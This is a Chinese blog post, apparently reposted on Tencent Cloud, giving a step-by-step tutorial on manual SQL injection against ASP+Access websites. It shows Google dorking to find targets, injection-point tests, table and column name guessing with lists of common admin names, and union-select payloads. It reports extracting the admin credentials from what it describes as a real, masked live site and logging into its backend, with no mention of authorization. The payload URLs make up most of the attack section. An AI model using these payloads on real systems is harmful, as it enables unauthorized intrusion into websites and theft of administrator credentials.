前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >ASP+Access 手工注入

ASP+Access 手工注入

作者头像
LuckySec
发布2022-11-02 12:58:17
2K0
发布2022-11-02 12:58:17
举报
文章被收录于专栏:LuckySec网络安全

0x001 前言

为了讲究学以致用,本文章将以实际的网站进行手工注入ASP+Access演示,同时也会为演示的网站做保密,屏蔽网站相关信息。

目标网站URL格式为:http://www.xxx.com/view.asp?id=2

0x002 寻找目标

使用谷歌搜索引擎输入

代码语言:javascript
复制
inurl:asp?id=N  # N用数字代替

注意:无法使用谷歌搜索引擎的,可以在火狐浏览器中安装一个谷歌上网助手即可解决。

谷歌搜索出来的结果并不都是我们想要的,需要择优选择进行测试

Google
Google

0x003 判断注入点

找到符合的ASP网站时,我们需要判断是否存在注入点。

判断方法: 先用引号判断注入,然后再在目标网站的URL后加上 and 1 = 1 网站正常并且 and 1 = 2 网站错误时, 则说明该点存在注入。

代码语言:javascript
复制
http://www.xxx.com/view.asp?id=2'           # 错误回显
http://www.xxx.com/view.asp?id=2 and 1 = 1  # 正常回显
http://www.xxx.com/view.asp?id=2 and 1 = 2  # 错误回显

0x004 判断数据库类型

AccessMSSQL都有自己的系统表,比如存放数据库中所有对象的表:Access是在系统表 msysobjects 中,但在WEB环境下读取该表会提示没有权限;MSSQL是在 sysobjects 中,在WEB环境下可正常读取。

判断方法1: 在网站的URL后输入 '; 错误回显,则说明是Access数据库。

判断方法2: 在网站的URL后输入 and (select count(*) from msysobjects)>0 ,返回结果是没有读取权限,则说明是Access数据库。

代码语言:javascript
复制
http://www.xxx.com/view.asp?id=2 and (select count(*) from msysobjects)>0

0x005 手工进行注入

1. 猜表名

如果知道目标网站的开源源码,可以下载到本地,直接查看Access数据库对应的表即可;若没有,则需要自己猜解。

猜解时在网站的URL后加 and exists (select * from 猜测的表名) ,若网页返回正常,则说明该表存在,反之则不存在。以猜表名为admin为例,如此循环,一直猜到表名为止。

代码语言:javascript
复制
http://www.xxx.com/view.asp?id=2 and exists (select * from admin)

经过测试,猜测表名为admin时,网页返回结果正常,说明存在admin表。

常用的表名:admin、user、news、manage、a_admin、x_admin、m_admin、m_admin、adminuser、admin_user、article_admin、administrator、manager、member、memberlist、users、Manage_User、user_info、admin_userinfo、login new 等等

2. 猜字段名

知道存在admin表后,接下来就是猜账号和密码字段名。

猜解时在网站的URL后加 and exists (select 猜测的字段名 from admin) ,若网页返回正常,则说明该字段名存在,反之则不存在。以猜字段名为admin_name为例,如此循环,一直猜到字段名为止。

代码语言:javascript
复制
http://www.xxx.com/view.asp?id=2 and exists (select admin_name from admin)

经过测试,存在admin_name字段名。

常用的字段名:username、password、id、adminusername、admin_username、adminname、admin_name、admin、adminuser、admin_user、user_name、user_admin、administrator、administrators、adminpassword、admin_pwd、adminpass、user_pass、admin_passwd、admin_password等等

3. 猜字段数

猜解时在网站的URL后加 order by N (N代表自然数),N的值从小到大逐一增加,若网页返回正常,则说明N的值小于或等于实际字段数;N的值一直增加到页面报错为止,说明实际的字段数为N-1

代码语言:javascript
复制
http://www.xxx.com/view.asp?id=2 order by 6  # 正常回显
http://www.xxx.com/view.asp?id=2 order by 7  # 错误回显

经测试,N6时正常回显,N7是错误回显,说明实际字段数为6

4. 猜字段值

使用union select 1,2,3,4,5,6 from admin 测试数据在网页中回显的位置

经测试网页在3位置处回显了结果,于是在3的位置改为我们要查询的字段名admin_name

代码语言:javascript
复制
http://www.xxx.com/view.asp?id=2 union select 1,2,admin_name,4,5,6 from admin

经测试,页面返回了结果a,只有一个字母

为了验证结果的准确性,查询下该字段名admin_name的字段值长度

代码语言:javascript
复制
http://www.xxx.com/view.asp?id=2 union select 1,2,len(admin_name),4,5,6 from admin

经测试,该字段值长度确实为1,即a就是admin_name的值

同理,经过测试,最终得到该账号的密码也是a

0x006 后台登录验证

对于网站的后台,可以使用御剑后台扫描工具或者其他类似工具进行查找。

这个网站的后台很简单,是最常见的 www.xxx.com/admin/login.asp 格式

最后,输入账号密码登录成功。

参考文章

本文参与 腾讯云自媒体同步曝光计划,分享自作者个人站点/博客。
原始发表:2020-01-14,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 作者个人站点/博客 前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体同步曝光计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • 0x001 前言
  • 0x002 寻找目标
  • 0x003 判断注入点
  • 0x004 判断数据库类型
  • 0x005 手工进行注入
    • 1. 猜表名
      • 2. 猜字段名
        • 3. 猜字段数
          • 4. 猜字段值
          • 0x006 后台登录验证
          • 参考文章
          相关产品与服务
          数据库
          云数据库为企业提供了完善的关系型数据库、非关系型数据库、分析型数据库和数据库生态工具。您可以通过产品选择和组合搭建,轻松实现高可靠、高可用性、高性能等数据库需求。云数据库服务也可大幅减少您的运维工作量,更专注于业务发展,让企业一站式享受数据上云及分布式架构的技术红利!
          领券
          问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档